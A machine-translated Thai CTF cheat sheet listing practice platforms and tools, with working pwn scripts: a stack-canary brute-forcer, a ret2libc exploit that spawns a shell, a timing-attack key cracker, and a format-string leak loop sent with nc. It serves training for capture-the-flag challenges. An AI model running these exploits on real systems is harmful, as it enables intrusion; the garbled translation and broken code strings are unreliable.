คู่มือผู้เชี่ยวชาญเรื่องความปลอดภัยในการเรียนรู้
การเขียน / ไฟล์สำหรับ Cyber CTF บางส่วนที่ฉันได้ทำ
ฉันยังได้รวมรายชื่อ แหล่งข้อมูล CTF รวมถึง เอกสารสรุป ที่ครอบคลุมซึ่งครอบคลุมความท้าทายทั่วไปของ CTF มากมาย
บันทึก
ขณะนี้มีกระจกสะท้อนเว็บของ repo นี้ที่ hackback.zip
สารบัญ
ทรัพยากร
- YouTube (เราชอบแหล่งข้อมูลวิดีโอ)
- สถานปฏิบัติ / การเรียนรู้
- CTF
- ทั่วไป
- พวน
- สาธุคุณ
- เว็บ
- การเข้ารหัสลับ
- สัญญาอัจฉริยะ
- คลาวด์
- การทดสอบ
แผ่นโกง CTF
- นิติเวช / Steganography
- ทั่วไป
- เสียง
- ภาพ
- วีดีโอ
- ภาพเครื่อง
- พีแคป
- Pwn / การแสวงหาผลประโยชน์แบบไบนารี
- ทั่วไป
- บัฟเฟอร์ล้น
- PIE (การดำเนินการอิสระตามตำแหน่ง)
- NX (ไม่สามารถเรียกใช้งานได้)
- ROP (สำหรับไบนารีที่คอมไพล์แบบคงที่)
- กองนกขมิ้น
- รูปแบบช่องโหว่ของสตริง
- เชลล์โค้ด
- กลับสู่ Libc
- วิศวกรรมย้อนกลับ
- ตัวทำละลาย SMT
- การย้อนกลับการตรวจสอบแบบไบต์ต่อไบต์
- ค้นหาสตริงด้วย gef
- เว็บ
- ช่องป้อนข้อมูลแบบคลุมเครือ
- การเข้ารหัสลับ
ไซเบอร์เชฟ
รหัสทั่วไป
อาร์เอสเอ
- รับข้อมูล RSA ด้วย pycryptodome
- ทฤษฎีบทเศษเหลือของจีน (p,q,e,c)
- การโจมตีของ Coppersmith (c, e)
- การโจมตีของพอลลาร์ด (n,e,c)
- วีเนอร์โจมตี (n,e,c)
เบส16, 32, 36, 58, 64, 85, 91, 92
- กล่อง
- กำลังเชื่อมต่อ
- การแจกแจง
- การเพิ่มสิทธิพิเศษ
- ฟังการย้อนกลับเปลือก
- เปลือกกลับ
- รับเชลล์แบบโต้ตอบ
- ลินุกซ์
- หน้าต่าง / ทั่วไป
- โอซินท์
- เบ็ดเตล็ด
ทรัพยากร
ช่อง YouTube
- จอห์น แฮมมอนด์
- เคยสร้างวิดีโอ CTF มากมาย แต่ได้ย้ายไปทำอย่างอื่นแล้ว
- ยังคงมีวิดีโอที่มีประโยชน์มากมาย โดยเฉพาะอย่างยิ่ง CTF นั้นยอดเยี่ยมมากสำหรับการสอนผู้คนใหม่ ๆ เกี่ยวกับไซเบอร์
- สดล้น
- สร้างวิดีโอที่น่าสนใจและเจาะลึกเกี่ยวกับไซเบอร์
- มีซีรีย์ pwn ที่น่าทึ่ง
- IppSec
- สร้างการเขียนข้อมูลของเครื่อง HackTheBox ทุกเครื่อง
- พูดคุยเกี่ยวกับวิธีแก้ปัญหาที่แตกต่างกันและทำไมสิ่งต่างๆ ถึงได้ผล ขอแนะนำอย่างยิ่ง
- คอมพิวเตอร์ฟิล
- คนเดียวกับ Numberphile แต่เท่กว่า สร้างวิดีโอระดับเริ่มต้นและใช้งานง่ายเกี่ยวกับแนวคิดพื้นฐาน
- pwn.วิทยาลัย
- ศาสตราจารย์ ASU ที่มีวิดีโอมากมายเกี่ยวกับ pwn
- เนื้อหาหลักสูตรที่แนะนำ: https://pwn.college/
- ปัญหาการฝึกฝนมากมาย: https://dojo.pwn.college/
- PwnFunction
- วิดีโอแอนิเมชั่นคุณภาพสูงและเข้าใจง่ายเกี่ยวกับหัวข้อต่าง ๆ
- หัวข้อสูงไปนิดแต่เข้าใจง่าย
- มาร์ติน คาร์ไลล์
- สร้างวิดีโอเขียนที่น่าทึ่งเกี่ยวกับความท้าทายของ picoCTF
- แซม โบว์น
- ศาสตราจารย์ CCSF ที่เปิดแหล่งข้อมูลการบรรยายและเนื้อหาหลักสูตรทั้งหมดบนเว็บไซต์ของเขา
- หน่วยลงทุนฯ
- ทีม UF Cyber (ฉันค่อนข้างลำเอียง แต่กำหนดช่อง YouTube ที่ดีกว่าช่องหนึ่งสำหรับเรื่องนี้)
- จินวาเอล
- สร้างการเขียนวิดีโอที่ใช้งานง่ายอย่างน่าอัศจรรย์ ได้ทำ picoCTF 2019 ครบแล้ว (เยอะมาก)
- ความปลอดภัยของข้อมูลแบล็คฮิลส์
- บริษัทรักษาความปลอดภัยที่สร้างเนื้อหาด้านการศึกษามากมาย
- ทำหลักสูตรและเว็บคาสต์ฟรีเกี่ยวกับหัวข้อด้านความปลอดภัยอยู่เสมอ
- กองซ้อน
- วิดีโอการแฮ็กวิศวกรรมย้อนกลับและฮาร์ดแวร์ที่น่าทึ่ง
- มีซีรีส์ที่ยอดเยี่ยมมากเกี่ยวกับวิศวกรรมย้อนกลับของ WannaCry
- เบน กรีนเบิร์ก
- ศาสตราจารย์ GMU พร้อมวิดีโอสอน pwn และมัลแวร์มากมาย
- ค่อนข้างล้าสมัย แต่ก็ยังดีอยู่
- InfoSecLab ที่จอร์เจียเทค
- การบรรยายเชิงลึกที่ดีและขั้นสูงเกี่ยวกับ pwn
- ต้องใช้ความรู้พื้นฐานบางอย่าง
- อาร์พิเซค
- การประชุมทีมมหาวิทยาลัย RPI
- ก้าวหน้ามากและถือว่ามีความรู้พื้นฐาน cs เล็กน้อย
- แมตต์ บราวน์
- Pentester การรักษาความปลอดภัยแบบฝัง
- สร้างวิดีโอที่เหมาะสำหรับผู้เริ่มต้นเกี่ยวกับการแฮ็ก IoT
พูดคุย
นี่คือสไลด์บางส่วนที่ฉันรวบรวมไว้: hackback.zip/presentations
สถานปฏิบัติ / การเรียนรู้
CTF
- PicoCTF
- ความท้าทายในการฝึกฝนที่น่าทึ่งมากมาย
- มาตรฐานทองคำสำหรับการเริ่มต้นอย่างแน่นอน
- ยูซีเอฟ
- โดยรวมแล้วดี แต่การฝึกฝน pww นั้นยอดเยี่ยม
- ขณะนี้ฉันกำลังดำเนินการเขียนบทความที่นี่
- แฮกเกอร์101
- CTF แต่เน้นไปที่การทดสอบมากกว่าเล็กน้อย
- ซีเอสเอ
- ลดเวลาลง 90% และโดยปกติแล้วการเชื่อมต่อจะไม่ทำงาน
- หากเป็นเช่นนั้น มันก็มีความท้าทายเบื้องต้นที่ดีมากมาย
- ซีทีเอฟ101
- หนึ่งในการแนะนำ CTF ที่ดีที่สุดที่ฉันเคยเห็น (gj osiris)
- กระชับมากและเป็นมิตรกับผู้เริ่มต้น
ทั่วไป
- แฮ็คเดอะบ็อกซ์
- เว็บไซต์กล่อง OG
- กล่องได้รับการดูแลจัดการเพื่อให้มั่นใจในคุณภาพ
- ขณะนี้มีปัญหาบางอย่างในรูปแบบ CTF
- ตอนนี้มีคอร์สให้เริ่มเรียนแล้ว
- ลองHackMe
- กล่องง่ายกว่า HackTheBox เล็กน้อย
- ความท้าทายทีละขั้นตอน
- ขณะนี้มี "เส้นทางการเรียนรู้" ที่จะแนะนำคุณตลอดหัวข้อต่างๆ
- ไซเบอร์ซีคแล็บส์
- คอลเลกชันที่ดีของกล่อง
- มีของ CTF บ้าง
- วัลน์ฮับ
- มีเครื่องเสมือนที่มีช่องโหว่ที่คุณต้องปรับใช้เอง
- หลากหลายแต่หาของดียากครับ
พวน
- pwnable.kr
- ความท้าทายที่มีช่วงความยากที่ดี
- pwnable.tw
- ยากกว่า pwnable.kr
- มีการเขียนเมื่อคุณแก้ปัญหาได้
- pwnable.xyz
- ความท้าทาย pwn เพิ่มเติม
- มีการเขียนเมื่อคุณแก้ปัญหาได้
- คุณสามารถอัปโหลดความท้าทายของคุณเองได้เมื่อคุณแก้ไขปัญหาทั้งหมดแล้ว
- pwn โดโจ
- คอลเลกชัน pwn ที่ดีที่สุดในความคิดของฉัน
- สำรองข้อมูลด้วยสไลด์ที่สอนวิธีการทำ & มีความขัดแย้งหากคุณต้องการความช่วยเหลือ
- ฝันร้าย
- มาตรฐานทองคำสำหรับการ pwning C ไบนารี
- มีข้อผิดพลาด/การพิมพ์ผิดเล็กน้อย แต่โดยรวมก็น่าทึ่ง
- บันทึกย่อ
- หมายเหตุจากบุคคลที่สุ่มออนไลน์
- ระดับผิวเผินมาก แต่เป็นการแนะนำที่ดีสำหรับทุกสิ่ง
- โรงเรียนภาคฤดูร้อนรักษาความปลอดภัย
- หลักสูตรความปลอดภัยของมหาวิทยาลัยบูคาเรสต์
- คำอธิบายที่เป็นมิตรต่อผู้เริ่มต้นมาก
- RPISEC MBE
- หลักสูตรการแสวงหาผลประโยชน์ไบนารีสมัยใหม่ของ RPI
- มีห้องปฏิบัติการ/โครงการจำนวนมากสำหรับการฝึกปฏิบัติและการบรรยายบางส่วน (เก่าเล็กน้อย)
- ยังไง2ฮีป
- ซีรีส์ Heap Exploitation จัดทำโดยทีมงาน CTF ของ ASU
- รวมคุณสมบัติดีบักเกอร์ที่ยอดเยี่ยมเพื่อแสดงให้เห็นว่าการหาประโยชน์ทำงานอย่างไร
- โรปเอ็มโพเรียม
- ชุดของความท้าทายในสถาปัตยกรรมหลักทุกรายการในการสอนการเขียนโปรแกรมแบบเน้นผลตอบแทน
- มีคุณภาพสูงมาก สอนตั้งแต่ขั้นพื้นฐานจนถึงเทคนิคขั้นสูงสุด
- ขณะนี้ฉันกำลังเพิ่มการเขียนของตัวเองที่นี่
- การศึกษาใช้ประโยชน์จากฟีนิกซ์
- ปัญหาการหาประโยชน์จากไบนารีจำนวนมากเรียงลำดับตามความยาก
- รวมซอร์สและมาพร้อมกับ VM ที่มีไบนารีทั้งหมด
สาธุคุณ
- ความท้าทายอีกครั้ง
- ความท้าทายมากมาย 0_0
- ความหลากหลายมากมาย
- การย้อนกลับ.kr
- crackmes.one
- ความท้าทายสไตล์ crackme มากมาย (CTF)
- เวิร์กช็อปยูนิคอร์นมัลแวร์
- เวิร์กช็อปฟรีเกี่ยวกับวิศวกรรมย้อนกลับและการวิเคราะห์มัลแวร์
เว็บ
- websec.fr
- ความท้าทายทางเว็บมากมายพร้อมความยากที่หลากหลาย
- เว็บแฮ็กกิ้ง.kr
- มีการเก็บถาวรความท้าทายทางเว็บดีๆ มากมาย
- การรักษาความปลอดภัยแอปพลิเคชันเว็บ
- หลักสูตร CCSF โอเพ่นซอร์ส
- ร้านน้ำผลไม้ OWASP
- มุ่งเน้นไปที่การทดสอบเนื้อหาอย่างมาก แต่มีประโยชน์สำหรับการสำรวจเว็บใน CTF
- รวมกว่า 100 vulns / ความท้าทาย
- พอร์ตสวิกเกอร์
- มาตรฐานทองคำสำหรับการทำความเข้าใจการแฮ็กเว็บ
- ความท้าทายและคำอธิบายที่น่าทึ่งมากมาย
- ดีวีดับบลิวเอ
- มุ่งเน้นไปที่การทดสอบเนื้อหาอย่างมาก แต่มีประโยชน์สำหรับการสำรวจเว็บใน CTF
- bWAPP
- มุ่งเน้นไปที่การทดสอบเนื้อหาอย่างมาก แต่มีประโยชน์สำหรับการสำรวจเว็บใน CTF
- ความท้าทายของซีทีเอฟ
- คอลเลกชันความท้าทายบนเว็บที่สร้างโดย Adam Langley ที่ถูกทำให้สมจริงที่สุดเท่าที่จะเป็นไปได้
- ดีสำหรับการได้รับประสบการณ์ค่าหัวบั๊ก
การเข้ารหัสลับ
- CryptoHack
- ขณะนี้ฉันกำลังดำเนินการเขียนบทความที่นี่
- cryptopals
- CryptoCTF
- CTF การเข้ารหัสประจำปี ปีก่อนๆ เข้าไปดูได้ที่
20{19,20,21,22,23,24}.cr.yp.toc.tf
สัญญาอัจฉริยะ
คลาวด์
- CloudFoxable
- อธิบายคุณตลอดการตั้งค่าสภาพแวดล้อมที่มีช่องโหว่เพื่อใช้ประโยชน์โดยใช้ cloudfox
- ข้อบกพร่อง.เมฆ
- ความท้าทายฟรีที่เกี่ยวข้องกับการค้นหาความลับใน S3, EC2 และ Lambda
การทดสอบ
- แฮกเกอร์101
- การแฮ็ก
- ใช้ประโยชน์จากการพัฒนา
- หลักสูตร CCSF โอเพ่นซอร์ส
- ข้อมูลเบื้องต้นเกี่ยวกับการรักษาความปลอดภัย
- หลักสูตร UC San Diego สอนโดย Deian Stefan
- ครอบคลุม pwn และ crypto พื้นฐาน
- แผ่นโกง Active Directory
- WADComs
- เอกสารสรุปแบบโต้ตอบสำหรับสภาพแวดล้อม Windows/AD
- โลลบาส
- เอกสารสรุปแบบโต้ตอบสำหรับไบนารี สคริปต์ และไลบรารี "Living off the land" ของ Windows เพื่อการแสวงหาผลประโยชน์
- GTFOBins
- เอกสารสรุปแบบโต้ตอบสำหรับเทคนิค "การใช้ชีวิตนอกแผ่นดิน" ของ Linux
แผ่นโกง CTF
นิติเวช / Steganography
ทั่วไป
- AperiSolve
- เครื่องมือที่รันเครื่องมือ stego อื่น ๆ โดยอัตโนมัติ
- แหล่งข้อมูลที่ดีจริงๆ จาก John Hammond สำหรับความท้าทายประเภทต่างๆ:
- https://github.com/JohnHammond/ctf-katana
- เอกสารโกงที่ยอดเยี่ยมอีกฉบับสำหรับการสร้างและแก้ไขความท้าทาย:
- https://github.com/apsdehal/awesome-ctf/blob/master/README.md
- ไฟล์
-
file <file.xyz> - กำหนดประเภทของไฟล์
- สตีไฮด์
-
steghide extract -sf <file.xyz> - แยกไฟล์ที่ฝังไว้
- สเต๊กซีก
-
stegseek <file> <password list> - แยกไฟล์ที่ฝังไว้โดยใช้รายการคำ
- เร็วสุด ๆ
- เดินสองทาง
-
binwalk -M --dd=".*" <file.xyz> - แยกไฟล์ที่ฝังไว้
- exiftool
-
exiftool <file.xyz> - อ่านข้อมูลเมตา
- สตริง
-
strings <file.xyz> - ค้นหาอักขระที่สามารถพิมพ์ได้ทั้งหมดในไฟล์
- hexedit
-
hexedit <file.xyz> - คุณอาจต้องเปลี่ยนลายเซ็นไฟล์ในบางภาพเพื่อให้สามารถเปิดได้
- รายการลายเซ็นไฟล์ทั่วไป
- Ghex (โปรแกรมแก้ไข hex อื่น แต่มี GUI ดีถ้าคุณต้องการข้ามไปยังไบต์ที่แน่นอน)
- ไฟล์ docx เป็นคอนเทนเนอร์ ดังนั้นคุณจึงสามารถแตกไฟล์เพื่อค้นหาเนื้อหาที่ซ่อนอยู่ได้
- Grep - วิธีที่ดีในการใช้ grep เพื่อค้นหาการตั้งค่าสถานะแบบเรียกซ้ำ:
-
grep -r --text 'picoCTF{.*}' -
egrep -r --text 'picoCTF{.*?} - คุณสามารถเปลี่ยน 'picoCTF' เป็นจุดเริ่มต้นของแฟล็กที่คุณกำลังมองหาได้
- Ltrace - ช่วยให้คุณเห็นว่าโค้ดทำอะไรเมื่อคุณรันโปรแกรม:
-
ltrace ./<file> -
ltrace -s 100 ./<file>- Ltrace จะย่อสตริงที่ยาวมากให้สั้นลง คุณสามารถใช้ -s เพื่อเพิ่มจำนวนอักขระที่ ltrace แสดง เหมาะสำหรับเมื่อดู strcmp ที่มีสตริงขนาดใหญ่
เสียง
เสียงเครื่องแฟกซ์:
เสียง SSTV (ทีวีสแกนช้า) (สิ่งพระจันทร์)
- ตัวอย่าง
- ตัวถอดรหัส
- ตัวถอดรหัส Alt
- ใช้การตั้งค่า qsstv เหล่านี้:
ภาพสเปกโตรแกรม
เปลี่ยนระดับเสียง ความเร็ว ทิศทาง...
- ระดับเสียง ความเร็ว การปรับแต่ง
- ย้อนกลับ
ปุ่มโทรศัพท์ DTMF (สองโทนหลายความถี่)
-
multimon-ng -a DTMF -t wav <file.wav>- โปรดทราบว่าสิ่งเหล่านี้ทำให้ฉันสามารถแตะตัวอักษรได้หลายตัว
- ซึ่งสามารถถอดรหัสตัวเลขให้เป็นข้อความได้
เทปคาสเซ็ท
- ตัวอย่าง
- ตัวถอดรหัส (wav เพื่อ แตะ ไฟล์)
รหัสมอร์ส
ภาพ
วีดีโอ
ภาพเครื่อง
- การกู้คืนไฟล์
- คุณสามารถเมานต์อิมเมจเป็นเครื่องเสมือนได้
- https://habr.com/en/post/444940/
- เมานต์ไฟล์
.img :-
binwalk -M --dd=".*" <fileName> - เรียกใช้
file บนเอาต์พุตและเลือกไฟล์ระบบไฟล์ Linux -
losetup /dev/loop<freeLoopNumber> <fileSystemFile>
พีแคป
- แยกข้อมูลด้วย tcpflow
- ดึงข้อมูลด้วย wireshark
- ไฟล์ → ส่งออกวัตถุ → ทำการเลือก
Pwn / การแสวงหาผลประโยชน์แบบไบนารี
- สำหรับอันนี้ ฉันขอแนะนำให้ดูที่ LearnPwn repo ของฉันแทน เนื่องจากสูตรโกงนี้ถูกสร้างขึ้นก่อนที่ฉันจะรู้เรื่อง pwn มากนัก
- อย่างไรก็ตาม ฉันได้รวมหมายเหตุ บางส่วน ที่แก้ไขสิ่งที่ฉันมีไว้ที่นี่ด้วย
ทั่วไป
- ตรวจสอบความปลอดภัยของเอลฟ์
-
checksec <binary> -
rabin2 -I <binary>
- ตรวจสอบความปลอดภัยของ PE
- ไบนารี-ความปลอดภัย-ตรวจสอบ
-
binary-security-check <bin>.exe
- ตรวจสอบ seccomp bpf
- เครื่องมือ seccomp
-
seccomp-tools dump ./<binary>
- ดูสัญลักษณ์
- ดูที่สตริง
- แพ็คที่อยู่เป็นไบต์
- endian ตัวน้อย (สำหรับ 32 บิต)
-
python -c "import pwn; print(pwn.p32(<intAddr>))
- big endian (สำหรับ 64 บิต)
-
python -c "import pwn; print(pwn.p64(<intAddr>))
- pwntools จะแพ็คที่อยู่โดยอัตโนมัติด้วยค่าเอนเดียนที่ถูกต้องสำหรับคุณ
บัฟเฟอร์ล้น
- หากคุณต้องการได้รับเชลล์ /bin/sh และคุณแน่ใจว่ามันใช้งานได้ แต่โปรแกรมยังคงออก ให้ใช้เคล็ดลับนี้:
-
( python -c "print '<PAYLOAD>'" ; cat ) | ./<program> - pwntools ทำสิ่งนี้ด้วย
process.interactive()
PIE (การดำเนินการอิสระตามตำแหน่ง)
- กำหนดค่าสุ่ม
-
pwn cyclic <numChars> เพื่อสร้างเพย์โหลด -
dmesg | tail | grep segfault เพื่อดูว่าข้อผิดพลาดอยู่ที่ไหน -
pwn cyclic -l 0x<errorLocation> เพื่อดูออฟเซ็ตแบบสุ่มเพื่อควบคุมตัวชี้คำสั่ง - ตัวอย่าง
NX (ไม่สามารถเรียกใช้งานได้)
- เราสามารถใช้ ROP (การเขียนโปรแกรมเชิงผลตอบแทน) เพื่อแก้ปัญหา
ROP (สำหรับไบนารีที่คอมไพล์แบบคงที่)
- ROPGadget
- ดูอุปกรณ์และสร้าง ropchains โดยอัตโนมัติ
-
ROPgadget --ropchain --binary <binary>- จากนั้นคุณสามารถเพิ่มการเติมที่จุดเริ่มต้นของโค้ด (ขึ้นอยู่กับความแตกต่างระหว่างบัฟเฟอร์และที่อยู่ผู้ส่ง) และรันโค้ดเพื่อรับเชลล์
- สาธิต
- รป
กองนกขมิ้น
ค้นหานกขมิ้นสแต็กในตัวดีบักเกอร์
- Stack canary คือค่าที่วางไว้หน้า EIP/RIP (ตัวชี้คำสั่ง) ที่สามารถเขียนทับโดยบัฟเฟอร์ล้น โปรแกรมทำให้เกิดข้อผิดพลาดโดยพื้นฐานหากสแต็กถูกเขียนทับเป็นสิ่งที่แตกต่างไปจากเดิม เป้าหมายของเราคือการค้นหาสแต็กดั้งเดิม ดังนั้นเมื่อเราโอเวอร์โฟลว์ โปรแกรมจะทำงานได้ตามปกติ
- นกขมิ้นสแต็กถูกนำมาจาก
gs หรือ fs (สำหรับ 32 และ 64 บิตตามลำดับ)- ในการถอดชิ้นส่วน ก่อนที่จะอ่านบางสิ่ง คุณสามารถเห็นบรรทัดที่คล้ายกับข้อความต่อไปนี้:
0x000000000000121a <+4>: sub rsp,0x30
0x000000000000121e <+8>: mov rax,QWORD PTR fs:0x28
0x0000000000001227 <+17>:mov QWORD PTR [rbp-0x8],rax
0x000000000000122b <+21>:xor eax,eax
- ที่นี่ stack canary จะถูกย้ายไปยัง
rax ที่ออฟเซ็ต +8- ดังนั้นให้แยกออฟเซ็ตถัดไปและตรวจสอบว่ามีอะไรอยู่ใน rax (
ir rax ) เพื่อดูว่านกขมิ้นในปัจจุบันคืออะไร
นกคีรีบูนแบบคงที่
- นกคีรีบูนจะคงที่ก็ต่อเมื่อโปรแกรมเมอร์ใช้งานด้วยตนเอง (ซึ่งเป็นกรณีในการท้าทาย intro pwn บางอย่าง) หรือหากคุณสามารถแยกโปรแกรมได้
- เมื่อคุณแยกไบนารี ไบนารีที่ถูกแยกจะมีนกขมิ้นเหมือนกัน ดังนั้นคุณจึงสามารถทำแบบเดรัจฉานแบบไบต์ต่อไบต์ได้
พิเศษ
เมื่อ stack canary ถูกเขียนทับอย่างไม่เหมาะสม มันจะทำให้เกิดการเรียก __stack_chk_fail
- หากเราไม่สามารถทำให้นกคีรีบูนรั่วไหลได้ เราก็สามารถแก้ไขตาราง GOT เพื่อป้องกันไม่ให้มีการเรียกได้
นกขมิ้นถูกจัดเก็บไว้ในโครงสร้าง TLS ของสแต็กปัจจุบัน และเริ่มต้นโดย security_init
- หากคุณสามารถเขียนทับค่าคานารีจริงได้ คุณสามารถตั้งค่าให้เท่ากับค่าใดก็ได้ที่คุณตัดสินใจว่าจะโอเวอร์โฟลว์
สคริปต์ง่าย ๆ ที่จะบังคับนกขมิ้นแบบคงที่ 4 ไบต์:
#!/bin/python3
from pwn import *
#This program is the buffer_overflow_3 in picoCTF 2018
elf = ELF ( './vuln' )
# Note that it's probably better to use the chr() function too to get special characters and other symbols and letters.
# But this canary was pretty simple :)
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
canary = ''
# Here we are bruteforcing a canary 4 bytes long
for i in range ( 1 , 5 ):
for letter in range ( 0 , len ( alphabet )): # We will go through each letter/number in the string 'alphabet'
p = elf . process () # We start the process
wait = p . recv (). decode ( 'utf-8' )
p . sendline ( str ( 32 + i )) # In this program, we had to specify how many bytes we were gonna send.
wait = p . recv (). decode ( 'utf-8' )
p . sendline ( 'A' * 32 + canary + alphabet [ letter ]) # We send the 32 A's to overflow, and then the canary we already have + our guess
prompt = p . recv (). decode ( 'utf-8' )
if "Stack" not in prompt : # The program prints "Stack smashed [...]" if we get wrongfully write the canary.
canary += alphabet [ letter ] # If it doesn't print that, we got part of our canary :)
break # Move on to the next canary letter/number
print ( "The canary is: " + canary )รูปแบบช่องโหว่ของสตริง
- ดูที่ตารางที่ 2 เพื่อดูว่าควรลองอะไรหากคุณเห็น "printf(buf)" หรืออะไรทำนองนั้น:
- https://owasp.org/www-community/attacks/Format_string_attack
- ขอแนะนำให้ดู John Hammond ที่ทำภารกิจ 'echooo' จาก picoCTF 2018
- บางครั้ง การพยายามพิมพ์เฉพาะสตริงจากสแต็กเช่นนี้: '%s %s %s %s %s %s' อาจทำให้เกิดข้อผิดพลาดได้ เนื่องจากไม่ใช่ทุกอย่างในสแต็กที่เป็นสตริง
- พยายามย่อให้เล็กสุดโดยทำ '%x %x %x %x %x %s' แทน
- แทนที่จะต้องเพิ่มจำนวน %x และ %s ที่คุณพิมพ์อยู่ตลอดเวลา คุณสามารถส่งพารามิเตอร์เพื่อทำให้ง่ายขึ้น:
-
%1$s - สิ่งนี้จะพิมพ์ค่าแรกในสแต็ก (จากสิ่งที่ฉันเข้าใจ ค่าที่อยู่ถัดจากบัฟเฟอร์ของคุณ) เป็นสตริง -
%2$s - ซึ่งจะพิมพ์ค่าที่ 2 เป็นสตริง และคุณก็เข้าใจแนวคิดนี้ - คุณสามารถใช้ลูปแบบซับเดียวเพื่อพยายามค้นหาแฟล็กโดยทำให้สแต็กรั่ว กด ^C (CTRL + C) เพื่อไปยังค่าถัดไป
-
for i in {1..100}; do echo "%$i$s" | nc [b7dca240cf1fbf61.247ctf.com](http://b7dca240cf1fbf61.247ctf.com/) 50478; done
- คุณสามารถควบคุมปริมาณการรั่วไหลได้โดยใช้พารามิเตอร์ขนาดต่างๆ:
-
%hhx รั่วไหล 1 ไบต์ (ครึ่งหนึ่งของขนาด int) -
%hx รั่วไหล 2 ไบต์ (ครึ่งหนึ่งของขนาด int) -
%x รั่วไหล 4 ไบต์ (ขนาด int) -
%lx รั่วไหล 8 ไบต์ (ขนาดยาว)
- วิดีโอที่ดีมากเกี่ยวกับการแก้ไขสแต็กด้วย fstring vuln และ %n:
- https://www.youtube.com/watch?v=gzLPVkZbaPA&ab_channel=MartinCarlisle
เชลล์โค้ด
- เว็บไซต์ที่ดีในการค้นหาเชลล์โค้ดที่แตกต่างกัน:
- http://shell-storm.org/shellcode/
กลับสู่ Libc
เราจะเขียนทับ EIP เพื่อเรียกใช้ฟังก์ชันไลบรารี system() และเราจะส่งผ่านสิ่งที่ควรดำเนินการด้วย ในตัวอย่างนี้คือบัฟเฟอร์ที่มี "/bin/sh"
คำอธิบายที่ดี:
- https://www.youtube.com/watch?v=FvQYGAM1X9U&ab_channel=NPTEL-NOCIITM
ตัวอย่างที่ดี (ไปที่ 3:22:44):
- https://www.youtube.com/watch?v=uIkxsBgkpj8&t=13257s&ab_channel=freeCodeCamp.org
- https://www.youtube.com/watch?v=NCLUm8geskU&ab_channel=BenGreenberg
รับที่อยู่สำหรับ execve("/bin/sh")
หากคุณทราบไฟล์ libc และตำแหน่งอยู่แล้ว (เช่น ไม่ต้องทำให้ไฟล์รั่วไหล...)
#!/bin/python3
from pwn import *
import os
binaryName = 'ret2libc1'
# get the address of libc file with ldd
libc_loc = os . popen ( f'ldd { binaryName } ' ). read (). split ( ' n ' )[ 1 ]. strip (). split ()[ 2 ]
# use one_gadget to see where execve is in that libc file
one_gadget_libc_execve_out = [ int ( i . split ()[ 0 ], 16 ) for i in os . popen ( f'one_gadget { libc_loc } ' ). read (). split ( " n " ) if "execve" in i ]
# pick one of the suitable addresses
libc_execve_address = one_gadget_libc_execve_out [ 1 ]
p = process ( f'./ { binaryName } ' )
e = ELF ( f'./ { binaryName } ' )
l = ELF ( libc_loc )
# get the address of printf from the binary output
printf_loc = int ( p . recvuntil ( ' n ' ). rstrip (), 16 )
# get the address of printf from libc
printf_libc = l . sym [ 'printf' ]
# calculate the base address of libc
libc_base_address = printf_loc - printf_libc
# generate payload
# 0x17 is from gdb analysis of offset from input to return address
offset = 0x17
payload = b"A" * offset
payload += p64 ( libc_base_address + libc_execve_address )
# send the payload
p . sendline ( payload )
# enter in interactive so we can use the shell created from our execve payload
p . interactive ()วิศวกรรมย้อนกลับ
คู่มือเด็ด: https://opensource.com/article/20/4/linux-binary-analysis
- กิดรา
- ตัวถอดรหัสที่มีประโยชน์มาก
- dotPeek หรือ dnSpy
- ถอดรหัสไฟล์ปฏิบัติการ .NET
- jadx และ jadx-gui
- devtoolzone
- ควิลท์ฟลาวเวอร์
- ตัวถอดรหัสจาวาที่ใช้เทอร์มินัลขั้นสูง
- apktool.apk
- ถอดรหัส apks
-
apktool d *.apk
- จีดีบี
- การวิเคราะห์ไบนารี
- peda (ส่วนขยายสำหรับฟังก์ชันที่เพิ่มขึ้น)
- gef (ส่วนขยาย gdb สำหรับ pwners)
- เรดาร์2
- ไหมขัดฟัน
-
strings บนสเตียรอยด์ ใช้การวิเคราะห์แบบคงที่เพื่อค้นหาและคำนวณสตริง
ตัวทำละลาย SMT
การย้อนกลับการตรวจสอบแบบไบต์ต่อไบต์ (การโจมตีช่องทางด้านข้าง)
https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html
- นี่คือเวอร์ชันที่ฉันสร้างขึ้นสำหรับการท้าทายที่ใช้การโจมตีตามเวลา:
- คุณอาจต้องเรียกใช้สองสามครั้งเพื่อพิจารณาถึงความสุ่ม
#!/bin/python3
from pwn import *
import string
keyLen = 8
binaryName = 'binary'
context . log_level = 'error'
s = ''
print ( "*" * keyLen )
for chars in range ( keyLen ):
a = []
for i in string . printable :
p = process ( f'perf stat -x, -e cpu-clock ./ { binaryName } ' . split ())
p . readline ()
currPass = s + i + '0' * ( keyLen - chars - 1 )
# print(currPass)
p . sendline ( currPass . encode ())
p . readline ()
p . readline ()
p . readline ()
info = p . readall (). split ( b',' )[ 0 ]
p . close ()
try :
a . append (( float ( info ), i ))
except :
pass
# print(float(info), i)
a . sort ( key = lambda x : x [ 0 ])
s += str ( a [ - 1 ][ 1 ])
print ( s + "*" * ( keyLen - len ( s )))
# print(sorted(a, key = lambda x: x[0]))
p = process ( f'./ { binaryName } ' )
p . sendline ( s . encode ())
p . interactive ()ค้นหาสตริงด้วย gef
- หากแฟล็กของคุณถูกอ่านลงในตัวแปรหรือรีจิสเตอร์ ณ จุดใดก็ตาม คุณสามารถแตกได้หลังจากที่มันถูกย้ายและรัน
grep <string> และ gef จะแสดงสตริงที่ตรงกับรูปแบบการค้นหาของคุณโดยอัตโนมัติ
เว็บ
- นิกโต (ถ้าได้รับอนุญาต)
- ค้นหาช่องโหว่โดยอัตโนมัติ
- gobuster (ถ้าได้รับอนุญาต)
- ไดเร็กทอรีและไฟล์ Brute Forces
- ไฮดรา (ถ้าได้รับอนุญาต)
- เข้าสู่ระบบ Brute Forces สำหรับบริการต่างๆ
- เรอพสวีท
- สกัดกั้นคำขอของเว็บและอนุญาตให้คุณแก้ไขได้
- ไวร์ชาร์ก
- วิเคราะห์การรับส่งข้อมูลเครือข่ายสดและไฟล์ pcap
- php เชลล์ย้อนกลับ
- มีประโยชน์สำหรับเว็บไซต์ที่ให้คุณอัพโหลดไฟล์ได้
- ไฟล์นี้จำเป็นต้องดำเนินการบนเซิร์ฟเวอร์จึงจะทำงานได้
- WPScan
- สแกนเว็บไซต์ WordPress
- ใช้
wpscan --url <site> --plugins-detection mixed -e กับคีย์ api เพื่อให้ได้ผลลัพธ์ที่ดีที่สุด
- เจดับบลิว
